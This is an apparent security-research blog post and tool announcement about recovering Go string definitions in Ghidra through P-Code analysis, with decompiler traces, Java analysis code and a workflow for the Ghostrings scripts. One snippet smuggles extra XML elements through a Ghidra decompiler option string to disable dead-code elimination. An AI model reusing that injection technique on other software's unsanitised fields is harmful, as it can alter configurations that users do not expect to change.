0x0048e7ea:3a: call ffmt.Fprintf(free)(u0x1000001a:1(0x0048e7ea:58))
   0x0048e7ea:3a: call ffmt.Fprintf(free)(u0x1000001a:1(0x0048e7ea:58),RCX(0x0048e7b4:21),XMM0_Da(0x0048e7e2:31))
0x0048e7ea:5e: **
   0x0048e7ea:5e: RCX(0x0048e7ea:5e) = RCX(0x0048e7b4:21) [] i0x0048e7ea:3a(free)
0x0048e7ea:61: **
   0x0048e7ea:61: FS_OFFSET(0x0048e7ea:61) = FS_OFFSET(i) [] i0x0048e7ea:3a(free)
0x0048e7ea:64: **
   0x0048e7ea:64: CF(0x0048e7ea:64) = CF(0x0048e79f:12) [] i0x0048e7ea:3a(free)
0x0048e7ea:67: **
   0x0048e7ea:67: PF(0x0048e7ea:67) = PF(0x0048e79f:1a) [] i0x0048e7ea:3a(free)
0x0048e7ea:6a: **
   0x0048e7ea:6a: ZF(0x0048e7ea:6a) = ZF(0x0048e79f:16) [] i0x0048e7ea:3a(free)
0x0048e7ea:6d: **
   0x0048e7ea:6d: SF(0x0048e7ea:6d) = SF(0x0048e79f:15) [] i0x0048e7ea:3a(free)
0x0048e7ea:70: **
   0x0048e7ea:70: DF(0x0048e7ea:70) = DF(0x0048e790:4f) [] i0x0048e7ea:3a(free)
0x0048e7ea:73: **
   0x0048e7ea:73: OF(0x0048e7ea:73) = OF(0x0048e79f:13) [] i0x0048e7ea:3a(free)
0x0048e7ea:76: **
   0x0048e7ea:76: RIP(0x0048e7ea:76) = RIP(i) [] i0x0048e7ea:3a(free)
0x0048e7ea:7c: **
   0x0048e7ea:7c: XMM0_Da(0x0048e7ea:7c) = [create] i0x0048e7ea:3a(free)
0x0048e7ea:7f: **
   0x0048e7ea:7f: XMM0_Db(0x0048e7ea:7f) = [create] i0x0048e7ea:3a(free)
0x0048e7ea:82: **
   0x0048e7ea:82: XMM0_Dc(0x0048e7ea:82) = [create] i0x0048e7ea:3a(free)
0x0048e7ea:85: **
   0x0048e7ea:85: XMM0_Dd(0x0048e7ea:85) = [create] i0x0048e7ea:3a(free)
0x0048e7cb:28: u0x00003800(0x0048e7cb:28) = #0x10 + RSP(free)
   0x0048e7cb:28: u0x00003800(0x0048e7cb:28) = #0x10 + RSP(0x0048e79f:14)
0x0048e7cb:29: u0x0000c000(0x0048e7cb:29) = RAX(free)
   0x0048e7cb:29: u0x0000c000(0x0048e7cb:29) = RAX(0x0048e7c4:27)
0x0048e7cb:2a: *(ram,u0x00003800(free)) = u0x0000c000(free)
   0x0048e7cb:2a: *(ram,u0x00003800(0x0048e7cb:28)) = u0x0000c000(0x0048e7cb:29)
0x0048e7d0:2b: u0x00003800(0x0048e7d0:2b) = #0x18 + RSP(free)
   0x0048e7d0:2b: u0x00003800(0x0048e7d0:2b) = #0x18 + RSP(0x0048e79f:14)
0x0048e7d0:2d: *(ram,u0x00003800(free)) = u0x0000c080(free)
   0x0048e7d0:2d: *(ram,u0x00003800(0x0048e7d0:2b)) = u0x0000c080(0x0048e7d0:2c)
0x0048e7ea:38: RSP(0x0048e7ea:38) = RSP(free) - #0x8
   0x0048e7ea:38: RSP(0x0048e7ea:38) = RSP(0x0048e79f:14) - #0x8
0x0048e7ea:39: *(ram,RSP(free)) = #0x48e7ef
   0x0048e7ea:39: *(ram,RSP(0x0048e7ea:38)) = #0x48e7ef
0x0048e7ea:57: u0x10000012(0x0048e7ea:57) = RSP(free) + #0x0
   0x0048e7ea:57: u0x10000012(0x0048e7ea:57) = RSP(0x0048e7ea:38) + #0x0
0x0048e7ea:52: RSP(0x0048e7ea:52) = RSP(free) + #0x8
   0x0048e7ea:52: RSP(0x0048e7ea:52) = RSP(0x0048e7ea:38) + #0x8

DEBUG 3: deadcode
0x0048e7ea:5b: RAX(0x0048e7ea:5b) = [create] i0x0048e7ea:3a(free)
   0x0048e7ea:5b: **
0x0048e7ea:5e: RCX(0x0048e7ea:5e) = RCX(0x0048e7b4:21) [] i0x0048e7ea:3a(free)
   0x0048e7ea:5e: **
0x0048e7ea:52: RSP(0x0048e7ea:52) = RSP(0x0048e7ea:38) + #0x8
   0x0048e7ea:52: **
0x0048e7ea:61: FS_OFFSET(0x0048e7ea:61) = FS_OFFSET(i) [] i0x0048e7ea:3a(free)
   0x0048e7ea:61: **
0x0048e7ea:64: CF(0x0048e7ea:64) = CF(0x0048e79f:12) [] i0x0048e7ea:3a(free)
   0x0048e7ea:64: **
0x0048e7ea:67: PF(0x0048e7ea:67) = PF(0x0048e79f:1a) [] i0x0048e7ea:3a(free)
   0x0048e7ea:67: **
0x0048e7ea:6a: ZF(0x0048e7ea:6a) = ZF(0x0048e79f:16) [] i0x0048e7ea:3a(free)
   0x0048e7ea:6a: **
0x0048e7ea:6d: SF(0x0048e7ea:6d) = SF(0x0048e79f:15) [] i0x0048e7ea:3a(free)
   0x0048e7ea:6d: **
0x0048e7ea:70: DF(0x0048e7ea:70) = DF(0x0048e790:4f) [] i0x0048e7ea:3a(free)
   0x0048e7ea:70: **
0x0048e7ea:73: OF(0x0048e7ea:73) = OF(0x0048e79f:13) [] i0x0048e7ea:3a(free)
   0x0048e7ea:73: **
0x0048e7ea:76: RIP(0x0048e7ea:76) = RIP(i) [] i0x0048e7ea:3a(free)
   0x0048e7ea:76: **
0x0048e7ea:7c: XMM0_Da(0x0048e7ea:7c) = [create] i0x0048e7ea:3a(free)
   0x0048e7ea:7c: **
0x0048e7ea:7f: XMM0_Db(0x0048e7ea:7f) = [create] i0x0048e7ea:3a(free)
   0x0048e7ea:7f: **
0x0048e7ea:82: XMM0_Dc(0x0048e7ea:82) = [create] i0x0048e7ea:3a(free)
   0x0048e7ea:82: **
0x0048e7ea:85: XMM0_Dd(0x0048e7ea:85) = [create] i0x0048e7ea:3a(free)
   0x0048e7ea:85: **

DEBUG 4: termorder
0x0048e7cb:28: u0x00003800(0x0048e7cb:28) = #0x10 + RSP(0x0048e79f:14)
   0x0048e7cb:28: u0x00003800(0x0048e7cb:28) = RSP(0x0048e79f:14) + #0x10

DEBUG 5: propagatecopy
0x0048e7cb:29: u0x0000c000(0x0048e7cb:29) = RAX(0x0048e7c4:27)
   0x0048e7cb:29: u0x0000c000(0x0048e7cb:29) = #0x4c584a

DEBUG 6: propagatecopy
0x0048e7cb:2a: *(ram,u0x00003800(0x0048e7cb:28)) = u0x0000c000(0x0048e7cb:29)
   0x0048e7cb:2a: *(ram,u0x00003800(0x0048e7cb:28)) = #0x4c584a

DEBUG 7: termorder
0x0048e7d0:2b: u0x00003800(0x0048e7d0:2b) = #0x18 + RSP(0x0048e79f:14)
   0x0048e7d0:2b: u0x00003800(0x0048e7d0:2b) = RSP(0x0048e79f:14) + #0x18

DEBUG 8: propagatecopy
0x0048e7d0:2d: *(ram,u0x00003800(0x0048e7d0:2b)) = u0x0000c080(0x0048e7d0:2c)
   0x0048e7d0:2d: *(ram,u0x00003800(0x0048e7d0:2b)) = #0x15

DEBUG 9: sub2add
0x0048e7ea:88: **
   0x0048e7ea:88: u0x1000004f(0x0048e7ea:88) = #0x8 * #0xffffffffffffffff
0x0048e7ea:38: RSP(0x0048e7ea:38) = RSP(0x0048e79f:14) - #0x8
   0x0048e7ea:38: RSP(0x0048e7ea:38) = RSP(0x0048e79f:14) + u0x1000004f(0x0048e7ea:88)

DEBUG 10: propagatecopy
0x0048e7ea:3a: call ffmt.Fprintf(free)(u0x1000001a:1(0x0048e7ea:58),RCX(0x0048e7b4:21),XMM0_Da(0x0048e7e2:31))
   0x0048e7ea:3a: call ffmt.Fprintf(free)(u0x1000001a:1(0x0048e7ea:58),#0x4dc7c0,XMM0_Da(0x0048e7e2:31))

DEBUG 11: identityel
0x0048e7ea:57: u0x10000012(0x0048e7ea:57) = RSP(0x0048e7ea:38) + #0x0
   0x0048e7ea:57: u0x10000012(0x0048e7ea:57) = RSP(0x0048e7ea:38)

DEBUG 12: propagatecopy
0x0048e7ea:58: u0x1000001a:1(0x0048e7ea:58) = *(ram,u0x10000012(0x0048e7ea:57))
   0x0048e7ea:58: u0x1000001a:1(0x0048e7ea:58) = *(ram,RSP(0x0048e7ea:38))

DEBUG 13: collapseconstants
0x0048e7ea:88: u0x1000004f(0x0048e7ea:88) = #0x8 * #0xffffffffffffffff
   0x0048e7ea:88: u0x1000004f(0x0048e7ea:88) = #0xfffffffffffffff8

DEBUG 14: earlyremoval
0x0048e7c4:27: RAX(0x0048e7c4:27) = #0x4c584a
   0x0048e7c4:27: **

DEBUG 15: addmultcollapse
0x0048e7cb:28: u0x00003800(0x0048e7cb:28) = RSP(0x0048e79f:14) + #0x10
   0x0048e7cb:28: u0x00003800(0x0048e7cb:28) = RSP(i) + #0xffffffffffffffb8

DEBUG 16: earlyremoval
0x0048e7cb:29: u0x0000c000(0x0048e7cb:29) = #0x4c584a
   0x0048e7cb:29: **

DEBUG 17: addmultcollapse
0x0048e7d0:2b: u0x00003800(0x0048e7d0:2b) = RSP(0x0048e79f:14) + #0x18
   0x0048e7d0:2b: u0x00003800(0x0048e7d0:2b) = RSP(i) + #0xffffffffffffffc0

DEBUG 18: earlyremoval
0x0048e7d0:2c: u0x0000c080(0x0048e7d0:2c) = #0x15
   0x0048e7d0:2c: **

DEBUG 19: propagatecopy
0x0048e7ea:38: RSP(0x0048e7ea:38) = RSP(0x0048e79f:14) + u0x1000004f(0x0048e7ea:88)
   0x0048e7ea:38: RSP(0x0048e7ea:38) = RSP(0x0048e79f:14) + #0xfffffffffffffff8

DEBUG 20: propagatecopy
0x0048e7ea:3a: call ffmt.Fprintf(free)(u0x1000001a:1(0x0048e7ea:58),#0x4dc7c0,XMM0_Da(0x0048e7e2:31))
   0x0048e7ea:3a: call ffmt.Fprintf(free)(u0x1000001a:1(0x0048e7ea:58),#0x4dc7c0,#0x0:4)

DEBUG 21: earlyremoval
0x0048e7ea:57: u0x10000012(0x0048e7ea:57) = RSP(0x0048e7ea:38)
   0x0048e7ea:57: **

DEBUG 22: earlyremoval
0x0048e7ea:88: u0x1000004f(0x0048e7ea:88) = #0xfffffffffffffff8
   0x0048e7ea:88: **

DEBUG 23: addmultcollapse
0x0048e7ea:38: RSP(0x0048e7ea:38) = RSP(0x0048e79f:14) + #0xfffffffffffffff8
   0x0048e7ea:38: RSP(0x0048e7ea:38) = RSP(i) + #0xffffffffffffffa0

DEBUG 24: storevarnode
0x0048e7cb:2a: *(ram,u0x00003800(0x0048e7cb:28)) = #0x4c584a
   0x0048e7cb:2a: s0xffffffffffffffb8(0x0048e7cb:2a) = #0x4c584a

DEBUG 25: storevarnode
0x0048e7d0:2d: *(ram,u0x00003800(0x0048e7d0:2b)) = #0x15
   0x0048e7d0:2d: s0xffffffffffffffc0(0x0048e7d0:2d) = #0x15

DEBUG 26: storevarnode
0x0048e7ea:39: *(ram,RSP(0x0048e7ea:38)) = #0x48e7ef
   0x0048e7ea:39: s0xffffffffffffffa0(0x0048e7ea:39) = #0x48e7ef

DEBUG 27: loadvarnode
0x0048e7ea:58: u0x1000001a:1(0x0048e7ea:58) = *(ram,RSP(0x0048e7ea:38))
   0x0048e7ea:58: u0x1000001a:1(0x0048e7ea:58) = s0xffffffffffffffa0:1(free)
0x0048e7ea:3a: call ffmt.Fprintf(free)(u0x1000001a:1(0x0048e7ea:58),#0x4dc7c0,#0x0:4)
   0x0048e7ea:3a: call ffmt.Fprintf(free)(#0x4dc7c0,#0x0:4)

DEBUG 28: heritage
0x0048e7ea:8c: **
   0x0048e7ea:8c: r0x005601b0(0x0048e7ea:8c) = r0x005601b0(i) [] i0x0048e7ea:3a(free)
0x0048e7ea:3a: call ffmt.Fprintf(free)(#0x4dc7c0,#0x0:4)
   0x0048e7ea:3a: call ffmt.Fprintf(free)(#0x4dc7c0,#0x0:4,s0x00000000:1(i),s0xffffffffffffffa8(0x0048e7bb:23),s0xffffffffffffffb0(0x0048e7bf:26),s0xffffffffffffffb8(0x0048e7cb:2a),s0xffffffffffffffc0(0x0048e7d0:2d),s0xffffffffffffffc8(0x0048e7d9:30),s0xffffffffffffffd0:10(0x0048e7e5:37),s0xfffffffffffffff8(0x0048e7a3:1d))
0x0048e7ea:91: **
   0x0048e7ea:91: s0x00000000:1(0x0048e7ea:91) = s0x00000000:1(i) [] i0x0048e7ea:3a(free)
0x0048e7ea:92: **
   0x0048e7ea:92: s0xffffffffffffffa0:1(0x0048e7ea:92) = SUB81(s0xffffffffffffffa0(0x0048e7ea:39),#0x0)
0x0048e7ea:95: **
   0x0048e7ea:95: s0xffffffffffffffa0(0x0048e7ea:95) = s0xffffffffffffffa0(0x0048e7ea:39) [] i0x0048e7ea:3a(free)
0x0048e7ea:98: **
   0x0048e7ea:98: s0xffffffffffffffa8(0x0048e7ea:98) = s0xffffffffffffffa8(0x0048e7bb:23) [] i0x0048e7ea:3a(free)
0x0048e7ea:9b: **
   0x0048e7ea:9b: s0xffffffffffffffb0(0x0048e7ea:9b) = s0xffffffffffffffb0(0x0048e7bf:26) [] i0x0048e7ea:3a(free)
0x0048e7ea:9e: **
   0x0048e7ea:9e: s0xffffffffffffffb8(0x0048e7ea:9e) = s0xffffffffffffffb8(0x0048e7cb:2a) [] i0x0048e7ea:3a(free)
0x0048e7ea:a1: **
   0x0048e7ea:a1: s0xffffffffffffffc0(0x0048e7ea:a1) = s0xffffffffffffffc0(0x0048e7d0:2d) [] i0x0048e7ea:3a(free)
0x0048e7ea:a4: **
   0x0048e7ea:a4: s0xffffffffffffffc8(0x0048e7ea:a4) = s0xffffffffffffffc8(0x0048e7d9:30) [] i0x0048e7ea:3a(free)
0x0048e7ea:a7: **
   0x0048e7ea:a7: s0xffffffffffffffd0:10(0x0048e7ea:a7) = s0xffffffffffffffd0:10(0x0048e7e5:37) [] i0x0048e7ea:3a(free)
0x0048e7ea:ab: **
   0x0048e7ea:ab: s0xfffffffffffffff8(0x0048e7ea:ab) = s0xfffffffffffffff8(0x0048e7a3:1d) [] i0x0048e7ea:3a(free)

DEBUG 29: activeparam
0x0048e7ea:3a: call ffmt.Fprintf(free)(#0x4dc7c0,#0x0:4,s0x00000000:1(i),s0xffffffffffffffa8(0x0048e7bb:23),s0xffffffffffffffb0(0x0048e7bf:26),s0xffffffffffffffb8(0x0048e7cb:2a),s0xffffffffffffffc0(0x0048e7d0:2d),s0xffffffffffffffc8(0x0048e7d9:30),s0xffffffffffffffd0:10(0x0048e7e5:37),s0xfffffffffffffff8(0x0048e7a3:1d))
   0x0048e7ea:3a: call ffmt.Fprintf(free)

DEBUG 30: deadcode
0x0048e7cb:28: u0x00003800(0x0048e7cb:28) = RSP(i) + #0xffffffffffffffb8
   0x0048e7cb:28: **
0x0048e7d0:2b: u0x00003800(0x0048e7d0:2b) = RSP(i) + #0xffffffffffffffc0
   0x0048e7d0:2b: **
0x0048e7ea:58: u0x1000001a:1(0x0048e7ea:58) = s0xffffffffffffffa0:1(0x0048e7ea:92)
   0x0048e7ea:58: **
0x0048e7ea:38: RSP(0x0048e7ea:38) = RSP(i) + #0xffffffffffffffa0
   0x0048e7ea:38: **
0x0048e7ea:91: s0x00000000:1(0x0048e7ea:91) = s0x00000000:1(i) [] i0x0048e7ea:3a(free)
   0x0048e7ea:91: **
0x0048e7ea:92: s0xffffffffffffffa0:1(0x0048e7ea:92) = SUB81(s0xffffffffffffffa0(0x0048e7ea:39),#0x0)
   0x0048e7ea:92: **
0x0048e7ea:ab: s0xfffffffffffffff8(0x0048e7ea:ab) = s0xfffffffffffffff8(0x0048e7a3:1d) [] i0x0048e7ea:3a(free)
   0x0048e7ea:ab: **

DEBUG 31: earlyremoval
0x0048e7ea:95: s0xffffffffffffffa0(0x0048e7ea:95) = s0xffffffffffffffa0(0x0048e7ea:39) [] i0x0048e7ea:3a(free)
   0x0048e7ea:95: **

DEBUG 32: earlyremoval
0x0048e7ea:98: s0xffffffffffffffa8(0x0048e7ea:98) = s0xffffffffffffffa8(0x0048e7bb:23) [] i0x0048e7ea:3a(free)
   0x0048e7ea:98: **

DEBUG 33: earlyremoval
0x0048e7ea:9b: s0xffffffffffffffb0(0x0048e7ea:9b) = s0xffffffffffffffb0(0x0048e7bf:26) [] i0x0048e7ea:3a(free)
   0x0048e7ea:9b: **

DEBUG 34: earlyremoval
0x0048e7ea:9e: s0xffffffffffffffb8(0x0048e7ea:9e) = s0xffffffffffffffb8(0x0048e7cb:2a) [] i0x0048e7ea:3a(free)
   0x0048e7ea:9e: **

DEBUG 35: earlyremoval
0x0048e7ea:a1: s0xffffffffffffffc0(0x0048e7ea:a1) = s0xffffffffffffffc0(0x0048e7d0:2d) [] i0x0048e7ea:3a(free)
   0x0048e7ea:a1: **

DEBUG 36: earlyremoval
0x0048e7ea:a4: s0xffffffffffffffc8(0x0048e7ea:a4) = s0xffffffffffffffc8(0x0048e7d9:30) [] i0x0048e7ea:3a(free)
   0x0048e7ea:a4: **

DEBUG 37: earlyremoval
0x0048e7ea:a7: s0xffffffffffffffd0:10(0x0048e7ea:a7) = s0xffffffffffffffd0:10(0x0048e7e5:37) [] i0x0048e7ea:3a(free)
   0x0048e7ea:a7: **

DEBUG 38: earlyremoval
0x0048e7cb:2a: s0xffffffffffffffb8(0x0048e7cb:2a) = #0x4c584a
   0x0048e7cb:2a: **

DEBUG 39: earlyremoval
0x0048e7d0:2d: s0xffffffffffffffc0(0x0048e7d0:2d) = #0x15
   0x0048e7d0:2d: **

DEBUG 40: earlyremoval
0x0048e7ea:39: s0xffffffffffffffa0(0x0048e7ea:39) = #0x48e7ef
   0x0048e7ea:39: **

Decompilation complete

Right near the end of the trace output, at steps 38 and 39, we can see exactly the type of P-Code ops that would be ideal for our analysis:

DEBUG 38: earlyremoval
0x0048e7cb:2a: s0xffffffffffffffb8(0x0048e7cb:2a) = #0x4c584a
   0x0048e7cb:2a: **

DEBUG 39: earlyremoval
0x0048e7d0:2d: s0xffffffffffffffc0(0x0048e7d0:2d) = #0x15
   0x0048e7d0:2d: **

These copy the string address and length values to offsets in the stack address space. This would be great, except earlyremoval is deleting them!

Earlier, at steps 24 and 25, these ops are created by the storevarnode rule:

DEBUG 24: storevarnode
0x0048e7cb:2a: *(ram,u0x00003800(0x0048e7cb:28)) = #0x4c584a
   0x0048e7cb:2a: s0xffffffffffffffb8(0x0048e7cb:2a) = #0x4c584a

DEBUG 25: storevarnode
0x0048e7d0:2d: *(ram,u0x00003800(0x0048e7d0:2b)) = #0x15
   0x0048e7d0:2d: s0xffffffffffffffc0(0x0048e7d0:2d) = #0x15

At step 28, those destination stack varnodes are associated with the fmt.Fprintf function call by the heritage action. In the same step, they’re also assigned to what appears to be a different Static Single Assignment (SSA) form version of the same stack location:

0x0048e7ea:9e: **
   0x0048e7ea:9e: s0xffffffffffffffb8(0x0048e7ea:9e) = s0xffffffffffffffb8(0x0048e7cb:2a) [] i0x0048e7ea:3a(free)
0x0048e7ea:a1: **
   0x0048e7ea:a1: s0xffffffffffffffc0(0x0048e7ea:a1) = s0xffffffffffffffc0(0x0048e7d0:2d) [] i0x0048e7ea:3a(free)

Then at step 29, the activeparam action removes all parameters from the fmt.Fprintf call (note that the “Decompile Parameter ID” analysis wasn’t performed on the program before generating this decompilation request XML payload). Even if the function call parameters were retained, once the stack parameters can be associated with the function call, the original ops that set them up are no longer needed and get marked as dead code.

I looked into manipulating the root action configurations and manually editing the fmt.Fprintf function signature, but I couldn’t find an obvious way to prevent the stack write operations from being associated with the call operation. A lower-level analysis style that preserves stack operations and doesn’t depend on correct function call or data structure definitions would be great to have, but I think it would require more involved modification of the decompiler source code.

Instead, I decided to try disabling the earlyremoval rule itself to preserve the stack copy operations. The decompiler has some code for parsing root action configurations from XML (the setSimplificationStyle documentation seems to refer to this when it mentions that applications might eventually be able to define their own analysis classes), but Ghidra doesn’t have any implementation to generate this XML.

I found that the DecompileOptions class in the Ghidra API is susceptible to XML injection,4 so I was able to directly inject the necessary XML elements from my script anyway. The injected currentaction element below disables the deadcode base group in the decompiler:

String protoEvalModel = options.getProtoEvalModel();
options.setProtoEvalModel(protoEvalModel + "</protoeval>\n" +
        "<currentaction>\n"
        + "   <param1>" + SIMPLIFICATION_STYLE + "</param1>\n"
        + "   <param2>deadcode</param2>\n"
        + "   <param3>off</param3>\n"
        + " </currentaction>\n"
        + "<protoeval>" + protoEvalModel);

I don’t consider this XML injection issue to be a vulnerability because the injection is triggered through arbitrary script code the user is voluntarily running; I didn’t see a way to abuse this via a malicious binary. This trick mainly saves me the trouble of customizing Ghidra itself to extend the decompiler interface.

With dead code elimination disabled, the normalize style output now produces the ideal COPY operations for analysis:

0x48e7c4:0x27   (register, 0x0, 8) COPY (const, 0x4c584a, 8)

0x48e7cb:0x28   (unique, 0x3800, 8) INT_ADD (register, 0x20, 8) , (const, 0xffffffffffffffb8, 8)
0x48e7cb:0x29   (unique, 0xc000, 8) COPY (const, 0x4c584a, 8)
0x48e7cb:0x2a   (stack, 0xffffffffffffffb8, 8) COPY (const, 0x4c584a, 8)

0x48e7d0:0x2b   (unique, 0x3800, 8) INT_ADD (register, 0x20, 8) , (const, 0xffffffffffffffc0, 8)
0x48e7d0:0x2c   (unique, 0xc080, 8) COPY (const, 0x15, 8)
0x48e7d0:0x2d   (stack, 0xffffffffffffffc0, 8) COPY (const, 0x15, 8)

An unintended side effect of disabling dead code elimination is that redundant intermediate versions of some operations won’t be removed anymore. This hinders analysis based on finding certain patterns of COPY operations. For example, an analysis loop that looks for a length copy operation directly adjacent to an address copy operation would not catch the above sequence due to the redundant intermediate versions of the same COPY (one to the unique space, one to the stack space). Despite that, the lifted COPY operation output is much easier to work with and still helps recover a significant number of strings.

Normalize Style Analysis

The COPY op’s input will now just be a constant value, there’s no need to traverse its defining operations. We can just check if the constant value corresponds to an address in the memory block where string content is stored (e.g., .rodata for ELF binaries or .rdata for PE), or if it looks like a reasonable string length. For the output varnode, we just check if its address is in the stack address space and then get its offset.

To demonstrate how this eases analysis, here’s how the string length value check looks with the simplified COPY ops:

protected LengthCandidate storeLenCheck(Program program, PcodeOpAST pcodeOpAST) {
    if (pcodeOpAST.getOpcode() != PcodeOp.COPY)
        return null;

    // Get input, make sure it's a constant
    Varnode dataToStore = pcodeOpAST.getInput(0);
    if (!dataToStore.isConstant())
        return null;
    long constantValue = dataToStore.getAddress().getOffset();

    // Simple string length bounds check
    if (constantValue < MIN_STR_LEN || constantValue > MAX_STR_LEN) {
        return null;
    }

    // If output is a stack address, get the offset
    Varnode storeLoc = pcodeOpAST.getOutput();
    if (!storeLoc.getAddress().isStackAddress()) {
        return null;
    }
    Long stackOffset = storeLoc.getAddress().getOffset();

    LengthCandidate result = new LengthCandidate((int) constantValue, stackOffset, pcodeOpAST);
    return result;
}

Due to the deadcode disable hack we’ll miss some strings that the register style analysis script finds, but there’s a property of the string data blob we can use to help fill in the remaining gaps: the strings are stored in ascending length order. Using the known lengths of two identified strings and the size of the gap between them, we can sometimes uniquely identify what size strings could exist in the gap. The end result for the register and hacked normalize analysis styles is generally the same after performing the gap filler step.

Of course, these hacks are not ideal: the XML injection vector could be patched in a future release of Ghidra, and disabling all dead code removal leaves unwanted operations around. Assuming the decompiler analysis configuration interface might later be exposed through the Ghidra API, I checked which rules are necessary to produce the stack COPY operations. Adding the stackvars base group to the register root action is enough to produce the simplified COPY ops, but without adding the deadcode base group as well, the problem of the leftover intermediate transformations remains.

I noticed an interesting command in the decompiler CLI called deadcode delay. The class documentation for the command handler shows that it delays dead code elimination in a specific address space:

/// \class IfcDeadcodedelay
/// \brief Change when dead code elimination starts: `deadcode delay <name> <delay>`
///
/// An address space is selected by name, along with a pass number.
/// Dead code elimination for Varnodes in that address space is changed to start
/// during that pass.  If there is a \e current function, the delay is altered only for
/// that function, otherwise the delay is set globally for all functions.

Instead of disabling all dead code elimination, I could use this to disable dead code elimination for varnodes specifically in the stack space.

[decomp]> deadcode delay stack 40
Successfully overrided deadcode delay for single function
[decomp]> decompile
Clearing old decompilation
Decompiling main.main
...

I haven’t included the trace output here because storevarnode still creates the same COPY ops shown before; the ops are just never deleted by the end of the trace. This seemed promising, but the only way to use this feature outside of the debug CLI was to edit the current architecture’s compiler specification file, such as Ghidra/Processors/ARM/data/languages/ARM.cspec for ARM. The decompiler will check the compiler_spec element for a deadcodedelay element with this format:

<deadcodedelay space="stack" delay="40"/>

This is yet another kludge, but it eliminates the problem with the intermediate COPY op forms. Here is the P-Code output with dead code delay enabled:

PrintHighPCode.java> Running...
PCode for function main.main @ 0048e790 (simplification style: normalize)
...
0x48e7bf:0x26   (stack, 0xffffffffffffffb0, 8) COPY (ram, 0x5601b0, 8)
0x48e7cb:0x2a   (stack, 0xffffffffffffffb8, 8) COPY (const, 0x4c584a, 8)
0x48e7d0:0x2d   (stack, 0xffffffffffffffc0, 8) COPY (const, 0x15, 8)
0x48e7d9:0x30   (stack, 0xffffffffffffffc8, 8) COPY (const, 0x0, 8)
0x48e7e5:0x37   (stack, 0xffffffffffffffd0, 16) COPY (unique, 0x1000001b, 16)
0x48e7e5:0x79   (unique, 0x1000001b, 16) INT_ZEXT (const, 0x0, 8)
0x48e7ea:0x39   (stack, 0xffffffffffffffa0, 8) COPY (const, 0x48e7ef, 8)
0x48e7ea:0x3a    ---  CALL (ram, 0x4866f0, 8)
...
PrintHighPCode.java> Finished!

The normalize style analysis using deadcodedelay performs at least as well as the original register style analysis – in some cases better – and the implementation is much simpler. I can’t use the XML injection trick to enable this only when running an analysis script, however, so for now this is just information to aid future work.

Concluding Thoughts

Thinking beyond Go binary analysis or this specific string recovery problem, for automated program analysis I would generally like to have a medium-level form of lifted P-Code output that doesn’t depend on correct function signature, calling convention, or data structure definitions (along the lines of the Low Level and Medium Level IL concept in Binary Ninja). The ideal solution for analyzing data structure creation on the stack would be a normalize-like simplification style that preserves stack operations that would otherwise be consumed by function call analysis. This is the main opportunity for future work I’m interested in.

For now, when implementing new P-Code analysis scripts where I have no need for source code output, I’d favor the decompiler’s normalize simplification style. When the normalize P-Code output is unsuitable due to issues like the one I explored in this blog post, I’d fall back to the register style, at the cost of needing to reimplement some decompiler analysis passes in my Ghidra script.

Ghostrings Release

The Go string definition recovery scripts described in this article have been released as “Ghostrings”. See the tool release announcement post at https://research.nccgroup.com/2022/05/20/tool-release-ghostrings/. This release also includes the PrintHighPCode.java script for decompiling a function with a certain simplification style and inspecting the P-Code output.

References

Golang Reverse Engineering

Ghidra Decompiler and P-Code Analysis


  1. For example, see the x86-64 string defining patterns listed in https://github.com/SentineLabs/AlphaGolang/blob/main/4.string_cast.py#L86↩

  2. See DecompilerFunctionAnalyzer.java↩

  3. The “unique” space is “a pool of temporary registers that can hold data but that aren’t a formal part of the state of the processor”.↩

  4. The raw protoEvalModel option string is copied directly into an XML string here.↩

✇NCC Group Research

Tool Release – Ghostrings

By: James Chambers

Introduction

Ghostrings is a collection of Ghidra scripts for recovering string definitions in Go binaries with P-Code analysis.

A well-known issue with reverse engineering Go programs is that the lack of null terminators in Go strings makes recovering string definitions from compiled binaries difficult. Within a compiled Go program, many of the constant string values are stored together in one giant blob, without any terminator characters built into the string data to mark where one string ends and another begins. Even a simple program that just prints “Hello world!” has over 1,500 strings in it related to the Go runtime system and other standard libraries. This can cause typical ASCII string discovery implementations, such as the one provided by Ghidra, to create false positive string definitions that are tens of thousands of characters long.

Instead of null terminated strings, Go uses a string structure that consists of a pointer and length value. Many of these string structures are created on the program’s stack at runtime, so recovering individual string start locations and length values requires analyzing the compiled machine code. There are a few existing scripts that perform this analysis by checking for certain patterns of x86-64 instructions, but they miss structures created with unhandled variations of instructions that ultimately have the same effect on the stack, and they’re also restricted to a specific ISA.

Ghostrings avoids both these problems by working with the simplified, architecture independent P-Code operations produced by Ghidra’s decompiler analysis. There are two main parts to the string recovery flow with Ghostrings:

  • Find dynamic string structure definitions on the stack via P-Code analysis, then use their start address and length values to define strings in the go.string.* string data blob
  • Fill the remaining gaps in go.string.* using some mathematical checks, based on the ascending length order of the strings

These two techniques greatly simplify recovering all string definitions in the go.string.* blob with minimal manual intervention.

Release

The module and source code can be found on GitHub at https://github.com/nccgroup/ghostrings. See the README file for instructions on how to install or edit the module.

The scripts included in the Ghostrings module are described below, and a recommended workflow for how to use them follows.

Scripts

Ghostrings includes the following script files:

Go String Recovery

These can be found in the Golang category in the Script Manager.

  • GoDynamicStrings.java
    • Analyzes P-Code to find string structures created on the stack. Uses the lower level “register” style analysis.
  • GoDynamicStringsSingle.java
    • Performs the same analysis as GoDynamicStrings.java, but uses a single decompiler process. Use this if analyzing a large binary causes the parallel decompiler processes to exhaust system memory.
  • GoDynamicStringsHigh.java
    • Experimental, uses P-Code output from the higher level “normalize” style analysis. Currently depends on a hack that turns off deadcode elimination in the decompiler.
  • GoKnownStrings.java
    • Searches for standard unique strings and defines them.
  • GoStringFiller.java
    • Fills in gaps in go.string.* after initial analysis, based on strings being ordered by ascending length.

P-Code

This can be found in the PCode category in the Script Manager.

  • PrintHighPCode.java
    • Prints high P-Code output for the currently selected function to the console, with a selector for the decompiler simplification style to use.

String Recovery Flow

Here’s the general flow for using these scripts to recover string definitions in a Go binary:

1. Clear all automatically defined strings in the .rodata (ELF) or .rdata (PE) memory block. The goal is to eliminate incorrect string definitions caused by the lack of null terminators.

1.1. In the “Defined Strings” window, add the “Mem Block” column to the display

Selecting enabled columns in the Defined Strings window

1.2. Create a filter on the memory block column to only show strings in the target block

Conditions for filtering strings by memory block

1.3. Select all strings in the window, then in the listing right-click and choose “Clear Code Bytes”

Clearing all .rodata strings

2. Run GoDynamicStrings.java or GoDynamicStringsHigh.java.

Running GoDynamicStrings.java on an example program

3. (Optional) Run GoKnownStrings.java to detect some standard strings.

Output from the GoKnownStrings.java script

4. Run GoStringFiller.java.

Output from the GoStringFiller.java script
